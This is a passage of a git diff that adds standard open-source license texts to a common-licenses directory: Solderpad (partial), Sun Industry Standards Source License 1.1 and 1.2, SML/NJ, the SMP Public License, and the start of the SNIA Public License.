+2. Grant of License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable license under the Rights to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form and do anything in relation to the Work as if the Rights did not exist.
+
+3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed.
+
+4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions:
+
+ 1. You must give any other recipients of the Work or Derivative Works a copy of this License; and
+
+ 2. You must cause any modified files to carry prominent notices stating that You changed the files; and
+
+ 3. You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and
+
+ 4. If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License.
+
+5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions.
+
+6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file.
+
+7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License.
+
+8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages.
+
+9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability.
+
+END OF TERMS AND CONDITIONS
+
+APPENDIX: How to apply this license to your work
+
+To apply this license to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives.
+
+Copyright [yyyy] [name of copyright owner] Copyright and related rights are licensed under the Solderpad Hardware License, Version 0.51 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://solderpad.org/licenses/SHL-0.51. Unless required by applicable law or agreed to in writing, software, hardware and materials distributed under this License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
diff --git a/meta/files/common-licenses/SISSL b/meta/files/common-licenses/SISSL
new file mode 100644
index 0000000000..7d6ad9d66c
--- /dev/null
+++ b/meta/files/common-licenses/SISSL
@@ -0,0 +1,116 @@
+Sun Industry Standards Source License - Version 1.1
+
+1.0 DEFINITIONS
+
+ 1.1 "Commercial Use" means distribution or otherwise making the Original Code available to a third party.
+
+ 1.2 "Contributor Version" means the combination of the Original Code, and the Modifications made by that particular Contributor.
+
+ 1.3 "Electronic Distribution Mechanism" means a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+ 1.4 "Executable" means Original Code in any form other than Source Code.
+
+ 1.5 "Initial Developer" means the individual or entity identified as the Initial Developer in the Source Code notice required by Exhibit A.
+
+ 1.6 "Larger Work" means a work which combines Original Code or portions thereof with code not governed by the terms of this License.
+
+ 1.7 "License" means this document.
+
+ 1.8 "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+ 1.9 "Modifications" means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. A Modification is:
+
+ A. Any addition to or deletion from the contents of a file containing Original Code or previous Modifications.
+
+ B. Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.10 "Original Code" means Source Code of computer software code which is described in the Source Code notice required by Exhibit A as Original Code.
+
+ 1.11 "Patent Claims" means any patent claim(s), now owned or hereafter acquired, including without limitation, method, process, and apparatus claims, in any patent Licensable by grantor.
+
+ 1.12 "Source Code" means the preferred form of the Original Code for making modifications to it, including all modules it contains, plus any associated interface definition files, or scripts used to control compilation and installation of an Executable.
+
+ 1.13 "Standards" means the standards identified in Exhibit B.
+
+ 1.14 "You" (or "Your") means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, "You'' includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, "control'' means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.
+
+2.0 SOURCE CODE LICENSE
+
+ 2.1 The Initial Developer Grant The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims: 
+
+ (a) under intellectual property rights (other than patent or trademark) Licensable by Initial Developer to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, and/or as part of a Larger Work; and
+
+ (b) under Patents Claims infringed by the making, using or selling of Original Code, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Code (or portions thereof).
+ (c) the licenses granted in this Section 2.1(a) and (b) are effective on the date Initial Developer first distributes Original Code under the terms of this License.
+ (d) Notwithstanding Section 2.1(b) above, no patent license is granted: 1) for code that You delete from the Original Code; 2) separate from the Original Code; or 3) for infringements caused by: i) the modification of the Original Code or ii) the combination of the Original Code with other software or devices, including but not limited to Modifications. 
+
+3.0 DISTRIBUTION OBLIGATIONS
+
+ 3.1 Application of License. The Source Code version of Original Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients' rights hereunder. Your license for shipment of the Contributor Version is conditioned upon Your full compliance with this Section. The Modifications which You create must comply with all requirements set out by the Standards body in effect one hundred twenty (120) days before You ship the Contributor Version. In the event that the Modifications do not meet such requirements, You agree to publish either (i) any deviation from the Standards protocol resulting from implementation of Your Modifications and a reference implementation of Your Modifications or (ii) Your Modifications in Source Code form, and to make any such deviation and reference implementation or Modifications available to all third parties under the same terms as this license on a royalty free basis within thirty (30) days of Your first customer shipment of Your Modifications.
+
+ 3.2 Required Notices. You must duplicate the notice in Exhibit A in each file of the Source Code. If it is not possible to put such notice in a particular Source Code file due to its structure, then You must include such notice in a location (such as a relevant directory) where a user would be likely to look for such a notice. If You created one or more Modification(s) You may add Your name as a Contributor to the notice described in Exhibit A. You must also duplicate this License in any documentation for the Source Code where You describe recipients' rights or ownership rights relating to Initial Code. You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Your version of the Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer. You must make it absolutely clear than any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer for any liability incurred by the Initial Developer as a result of warranty, support, indemnity or liability terms You offer.
+
+ 3.3 Distribution of Executable Versions. You may distribute Original Code in Executable and Source form only if the requirements of Sections 3.1 and 3.2 have been met for that Original Code, and if You include a notice stating that the Source Code version of the Original Code is available under the terms of this License. The notice must be conspicuously included in any notice in an Executable or Source versions, related documentation or collateral in which You describe recipients' rights relating to the Original Code. You may distribute the Executable and Source versions of Your version of the Code or ownership rights under a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License. If You distribute the Executable and Source versions under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer. You hereby agree to indemnify the Initial Developer for any liability incurred by the Initial Developer as a result of any such terms You offer.
+
+ 3.4 Larger Works. You may create a Larger Work by combining Original Code with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Original Code.
+
+4.0 INABILITY TO COMPLY DUE TO STATUTE OR REGULATION
+
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Original Code due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.2 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5.0 APPLICATION OF THIS LICENSE
+
+This License applies to code to which the Initial Developer has attached the notice in Exhibit A and to related Modifications as set out in Section 3.1.
+
+6.0 VERSIONS OF THE LICENSE
+
+ 6.1 New Versions. Sun may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.
+
+ 6.2 Effect of New Versions. Once Original Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Original Code under the terms of any subsequent version of the License published by Sun. No one other than Sun has the right to modify the terms applicable to Original Code.
+
+7.0 DISCLAIMER OF WARRANTY
+
+ORIGINAL CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE ORIGINAL CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE ORIGINAL CODE IS WITH YOU. SHOULD ANY ORIGINAL CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY ORIGINAL CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8.0 TERMINATION
+
+ 8.1 This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. All sublicenses to the Original Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+ 8.2 In the event of termination under Section 8.1 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or any distributor hereunder prior to termination shall survive termination.
+
+9.0 LIMIT OF LIABILITY
+
+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF ORIGINAL CODE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10.0 U.S. GOVERNMENT END USERS
+
+U.S. Government: If this Software is being acquired by or on behalf of the U.S. Government or by a U.S. Government prime contractor or subcontractor (at any tier), then the Government's rights in the Software and accompanying documentation shall be only as set forth in this license; this is in accordance with 48 C.F.R. 227.7201 through 227.7202-4 (for Department of Defense (DoD) acquisitions) and with 48 C.F.R. 2.101 and 12.212 (for non-DoD acquisitions).
+
+11.0 MISCELLANEOUS
+
+This License represents the complete agreement concerning subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. This License shall be governed by California law provisions (except to the extent applicable law, if any, provides otherwise), excluding its conflict-of-law provisions. With respect to disputes in which at least one party is a citizen of, or an entity chartered or registered to do business in the United States of America, any litigation relating to this License shall be subject to the jurisdiction of the Federal Courts of the Northern District of California, with venue lying in Santa Clara County, California, with the losing party responsible for costs, including without limitation, court costs and reasonable attorneys' fees and expenses. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+EXHIBIT A - Sun Standards License
+
+"The contents of this file are subject to the Sun Standards License Version 1.1 (the "License"); You may not use this file except in compliance with the License. You may obtain a copy of the License at _______________________________.
+
+Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either 
+express or implied. See the License for the specific language governing rights and limitations under the License.
+
+The Original Code is ______________________________________.
+
+The Initial Developer of the Original Code is: 
+Sun Microsystems, Inc..
+
+Portions created by: _______________________________________
+
+are Copyright (C): _______________________________________
+
+All Rights Reserved.
+
+Contributor(s): _______________________________________
+EXHIBIT B - Standards
+
+The Standard is defined as the following:
+OpenOffice.org XML File Format Specification, located at http://xml.openoffice.org
+OpenOffice.org Application Programming Interface Specification, located at http://api.openoffice.org
diff --git a/meta/files/common-licenses/SISSL-1.2 b/meta/files/common-licenses/SISSL-1.2
new file mode 100644
index 0000000000..d10c189634
--- /dev/null
+++ b/meta/files/common-licenses/SISSL-1.2
@@ -0,0 +1,114 @@
+SUN INDUSTRY STANDARDS SOURCE LICENSE
+Version 1.2
+1.0 DEFINITIONS
+
+ 1.1 Commercial Use means distribution or otherwise making the Original Code available to a third party.
+
+ 1.2 Contributor Version means the combination of the Original Code, and the Modifications made by that particular Contributor.
+
+ 1.3 Electronic Distribution Mechanism means a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+ 1.4 Executable means Original Code in any form other than Source Code.
+
+ 1.5 Initial Developer means the individual or entity identified as the Initial Developer in the Source Code notice required by Exhibit A.
+
+ 1.6 Larger Work means a work which combines Original Code or portions thereof with code not governed by the terms of this License.
+
+ 1.7 License means this document.
+
+ 1.8 Licensable means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+ 1.9 Modifications means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. A Modification is:
+
+ A. Any addition to or deletion from the contents of a file containing Original Code or previous Modifications.
+
+ B. Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.10 Original Code means Source Code of computer software code which is described in the Source Code notice required by Exhibit A as Original Code.
+
+ 1.11 Patent Claims means any patent claim(s), now owned or hereafter acquired, including without limitation, method, process, and apparatus claims, in any patent Licensable by grantor.
+
+ 1.12 Source Code means the preferred form of the Original Code for making modifications to it, including all modules it contains, plus any associated interface definition files, or scripts used to control compilation and installation of an Executable.
+
+ 1.13 Standards means the standards identified in Exhibit B.
+
+ 1.14 You (or Your) means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, You includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, control means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity.
+
+2.0 SOURCE CODE LICENSE
+
+ 2.1 The Initial Developer Grant The Initial Developer hereby grants You a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims:
+
+ (a)under intellectual property rights (other than patent or trademark) Licensable by Initial Developer to use, reproduce, modify, display, perform, sublicense and distribute the Original Code (or portions thereof) with or without Modifications, and/or as part of a Larger Work; and
+
+ (b) under Patents Claims infringed by the making, using or selling of Original Code, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Code (or portions thereof).
+
+ (c) the licenses granted in this Section 2.1(a) and (b) are effective on the date Initial Developer first distributes Original Code under the terms of this License.
+
+ (d) Notwithstanding Section 2.1(b) above, no patent license is granted: 1) for code that You delete from the Original Code; 2) separate from the Original Code; or 3) for infringements caused by: i) the modification of the Original Code or ii) the combination of the Original Code with other software or devices, including but not limited to Modifications.
+
+3.0 DISTRIBUTION OBLIGATIONS
+
+ 3.1 Application of License. The Source Code version of Original Code may be distributed only under the terms of this License or a future version of this License released under Section 6.1, and You must include a copy of this License with every copy of the Source Code You distribute. You may not offer or impose any terms on any Source Code version that alters or restricts the applicable version of this License or the recipients rights hereunder. Your license for shipment of the Contributor Version is conditioned upon Your full compliance with this Section. The Modifications which You create must comply with all requirements set out by the Standards body in effect one hundred twenty (120) days before You ship the Contributor Version. In the event that the Modifications do not meet such requirements, You agree to publish either (i) any deviation from the Standards protocol resulting from implementation of Your Modifications and a reference implementation of Your Modifications or (ii) Your Modifications in Source Code form, and to make any such deviation and reference implementation or Modifications available to all third parties under the same terms a this license on a royalty free basis within thirty (30) days of Your first customer shipment of Your Modifications. Additionally, in the event that the Modifications you create do not meet the requirements set out in this Section, You agree to comply with the Standards requirements set out in Exhibit B.
+
+ 3.2 Required Notices. You must duplicate the notice in Exhibit A in each file of the Source Code. If it is not possible to put such notice in a particular Source Code file due to its structure, then You must include such notice in a location (such as a relevant directory) where a user would be likely to look for such a notice. If You created one or more Modification(s) You may add Your name as a Contributor to the notice described in Exhibit A. You must also duplicate this License in any documentation for the Source Code where You describe recipients rights or ownership rights relating to Initial Code.
+
+ You may choose to offer, and to charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Your version of the Code. However, You may do so only on Your own behalf, and not on behalf of the Initial Developer. You must make it absolutely clear than any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Initial Developer for any liability incurred by the Initial Developer as a result of warranty, support, indemnity or liability terms You offer.
+
+ 3.3 Distribution of Executable Versions. You may distribute Original Code in Executable and Source form only if the requirements of Sections 3.1 and 3.2 have been met for that Original Code, and if You include a notice stating that the Source Code version of the Original Code is available under the terms of this License. The notice must be conspicuously included in any notice in an Executable or Source versions, related documentation or collateral in which You describe recipients rights relating to the Original Code. You may distribute the Executable and Source versions of Your version of the Code or ownership rights under a license of Your choice, which may contain terms different from this License, provided that You are in compliance with the terms of this License. If You distribute the Executable and Source versions under a different license You must make it absolutely clear that any terms which differ from this License are offered by You alone, not by the Initial Developer. You hereby agree to indemnify the Initial Developer for any liability incurred by the Initial Developer as a result of any such terms You offer.
+
+ 3.4 Larger Works. You may create a Larger Work by combining Original Code with other code not governed by the terms of this License and distribute the Larger Work as a single product. In such a case, You must make sure the requirements of this License are fulfilled for the Original Code.
+
+4.0 INABILITY TO COMPLY DUE TO STATUTE OR REGULATION
+
+If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Original Code due to statute, judicial order, or regulation then You must: (a) comply with the terms of this License to the maximum extent possible; and (b) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 3.2 and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill to be able to understand it.
+
+5.0 APPLICATION OF THIS LICENSE
+
+This License applies to code to which the Initial Developer has attached the notice in Exhibit A and to related Modifications as set out in Section 3.1.
+
+6.0 VERSIONS OF THE LICENSE
+
+ 6.1 New Versions. Sun may publish revised and/or new versions of the License from time to time. Each version will be given a distinguishing version number.
+
+ 6.2 Effect of New Versions. Once Original Code has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Original Code under the terms of any subsequent version of the License published by Sun. No one other than Sun has the right to modify the terms applicable to Original Code.
+
+7.0 DISCLAIMER OF WARRANTY
+
+ORIGINAL CODE IS PROVIDED UNDER THIS LICENSE ON AN AS IS BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE ORIGINAL CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE ORIGINAL CODE IS WITH YOU. SHOULD ANY ORIGINAL CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY ORIGINAL CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8.0 TERMINATION
+
+ 8.1 This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. All sublicenses to the Original Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive. 8.2 In the event of termination under Section 8.1 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or any distributor hereunder prior to termination shall survive termination.
+
+
+EXHIBIT A - Sun Industry Standards Source License
+
+"The contents of this file are subject to the Sun Industry Standards Source License Version 1.2 (the License); You
+may not use this file except in compliance with the License."
+
+"You may obtain a copy of the License at gridengine.sunsource.net/license.html"
+
+"Software distributed under the License is distributed on an AS IS basis, WITHOUT WARRANTY OF ANY KIND, either express or
+implied. See the License for the specific language governing rights and limitations under the License."
+
+"The Original Code is Grid Engine."
+
+"The Initial Developer of the Original Code is:
+Sun Microsystems, Inc."
+
+"Portions created by: Sun Microsystems, Inc. are Copyright (C) 2001 Sun Microsystems, Inc."
+
+"All Rights Reserved."
+
+"Contributor(s):__________________________________"
+
+EXHIBIT B - Standards
+
+1.0 Requirements for project Standards. The requirements for project Standards are version-dependent and are defined at: Grid Engine standards.
+
+2.0 Additional requirements. The additional requirements pursuant to Section 3.1 are defined as:
+
+ 2.1 Naming Conventions. If any of your Modifications do not meet the requirements of the Standard, then you must change the product name so that Grid Engine, gridengine, gridengine.sunsource, and similar naming conventions are not used.
+
+ 2.2 Compliance Claims. If any of your Modifications do not meet the requirements of the Standards you may not claim, directly or indirectly, that your implementation of the Standards is compliant.
+
diff --git a/meta/files/common-licenses/SMLNJ b/meta/files/common-licenses/SMLNJ
new file mode 100644
index 0000000000..8b49442a62
--- /dev/null
+++ b/meta/files/common-licenses/SMLNJ
@@ -0,0 +1,7 @@
+STANDARD ML OF NEW JERSEY COPYRIGHT NOTICE, LICENSE AND DISCLAIMER.
+
+Copyright (c) 2001-2011 by The Fellowship of SML/NJ Copyright (c) 1989-2001 by Lucent Technologies
+
+Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appear in all copies and that both the copyright notice and this permission notice and warranty disclaimer appear in supporting documentation, and that the name of Lucent Technologies, Bell Labs or any Lucent entity not be used in advertising or publicity pertaining to distribution of the software without specific, written prior permission.
+
+Lucent disclaims all warranties with regard to this software, including all implied warranties of merchantability and fitness. In no event shall Lucent be liable for any special, indirect or consequential damages or any damages whatsoever resulting from loss of use, data or profits, whether in an action of contract, negligence or other tortious action, arising out of or in connection with the use or performance of this software.
diff --git a/meta/files/common-licenses/SMPPL b/meta/files/common-licenses/SMPPL
new file mode 100644
index 0000000000..1780a306d7
--- /dev/null
+++ b/meta/files/common-licenses/SMPPL
@@ -0,0 +1,29 @@
+Secure Messaging Protocol (SMP) Libraries [ACL, CML, SFL]
+
+Distribution Rights
+
+All source code for the SMP is being provided at no cost and with no financial limitations regarding its use and distribution. Organizations can use the SMP without paying any royalties or licensing fees. The SMP was originally developed by the U.S. Government. BAE Systems is enhancing and supporting the SMP under contract to the U.S. Government. The U.S. Government is furnishing the SMP software at no cost to the vendor subject to the conditions of the SMP Public License provided with the SMP software.
+
+29 May 2002
+
+Secure Messaging Protocol (SMP) Public License
+
+The United States Government/Department of Defense/National Security Agency/Office of Network Security (collectively "the U.S. Government") hereby grants permission to any person obtaining a copy of the SMP source and object files (the "SMP Software") and associated documentation files (the "SMP Documentation"), or any portions thereof, to do the following, subject to the following license conditions:
+
+You may, free of charge and without additional permission from the U.S. Government, use, copy, modify, sublicense and otherwise distribute the SMP Software or components of the SMP Software, with or without modifications developed by you and/or by others.
+
+You may, free of charge and without additional permission from the U.S. Government, distribute copies of the SMP Documentation, with or without modifications developed by you and/or by others, at no charge or at a charge that covers the cost of reproducing such copies, provided that this SMP Public License is retained.
+
+Furthermore, if you distribute the SMP Software or parts of the SMP Software, with or without modifications developed by you and/or others, then you must either make available the source code to all portions of the SMP Software (exclusive of any modifications made by you and/or by others) upon request, or instead you may notify anyone requesting the SMP Software source code that it is freely available from the U.S. Government.
+
+Transmission of this SMP Public License must accompany whatever portions of the SMP Software you redistribute.
+
+The SMP Software is provided without warranty or guarantee of any nature, express or implied, including without limitation the warranties of merchantability and fitness for a particular purpose.
+
+The U.S. Government cannot be held liable for any damages either directly or indirectly caused by the use of the SMP Software.
+
+It is not permitted to copy, sublicense, distribute or transfer any of the SMP Software except as expressly indicated herein. Any attempts to do otherwise will be considered a violation of this License and your rights to the SMP Software will be voided.
+
+The SMP uses the Enhanced SNACC (eSNACC) Abstract Syntax Notation One (ASN.1) C++ Library to ASN.1 encode and decode security-related data objects. The eSNACC ASN.1 C++ Library is covered by the ENHANCED SNACC SOFTWARE PUBLIC LICENSE. None of the GNU public licenses apply to the eSNACC ASN.1 C++ Library. The eSNACC Compiler is not distributed as part of the SMP.
+
+Copyright © 1997-2002 National Security Agency
diff --git a/meta/files/common-licenses/SNIA b/meta/files/common-licenses/SNIA
new file mode 100644
index 0000000000..285798e827
--- /dev/null
+++ b/meta/files/common-licenses/SNIA
@@ -0,0 +1,122 @@
+STORAGE NETWORKING INDUSTRY ASSOCIATION
+PUBLIC LICENSE
+Version 1.1
+
+1. Definitions.
+
+1.1 "Commercial Use" means distribution or otherwise making the Covered Code available to a third party.
+
+1.2 "Contributor" means each entity that creates or contributes to the creation of Modifications.
+
+1.3 "Contributor Version" means the combination of the Original Code, prior Modifications used by a Contributor, and the Modifications made by that particular Contributor.
+
+1.4 "Covered Code" means the Original Code or Modifications or the combination of the Original Code and Modifications, in each case including portions thereof.
+
+1.5 "Electronic Distribution Mechanism" means a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+1.6 "Executable" means Covered Code in any form other than Source Code.
+
+1.7 "Initial Developer" means the individual or entity identified as the Initial Developer in the Source Code notice required by Exhibit A.
+
+1.8 "Larger Work" means a work which combines Covered Code or portions thereof with code not governed by the terms of this License.
+
+1.9 "License" means this document.
+
+1.10 "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+1.11 "Modifications" means any addition to or deletion from the substance or structure of either the Original Code or any previous Modifications. When Covered Code is released as a series of files, a Modification is:
+ A. Any addition to or deletion from the contents of a file containing Original Code or previous Modifications.
+ B. Any new file that contains any part of the Original Code or previous Modifications.
+
+1.12 "Original Code" means Source Code of computer software code which is described in the Source Code notice required by Exhibit A as Original Code, and which, at the time of its release under this License is not already Covered Code governed by this License.
+
+1.13 "Patent Claims" means any patent claim(s), now owned or hereafter acquired, including without limitation, method, process, and apparatus claims, in any patent Licensable by grantor.
+
+1.14 "Source Code" means the preferred form of the Covered Code for making modifications to it, including all modules it contains, plus any associated interface definition files, scripts used to control compilation and installation of an Executable, or source code differential comparisons against either the Original Code or another well known, available Covered Code of the Contributor's choice. The Source Code can be in a compressed or archival form, provided the appropriate decompression or de-archiving software is widely available for no charge.
+
+1.15 "You" (or "Your") means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 6.1. For legal entities, "You" includes any entity which controls, is controlled by, or is under common control with You. For purposes of this definition, "control" means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of more than fifty percent (50%) of the outstanding shares or beneficial ownership of such entity
+
+2. Source Code License.
+
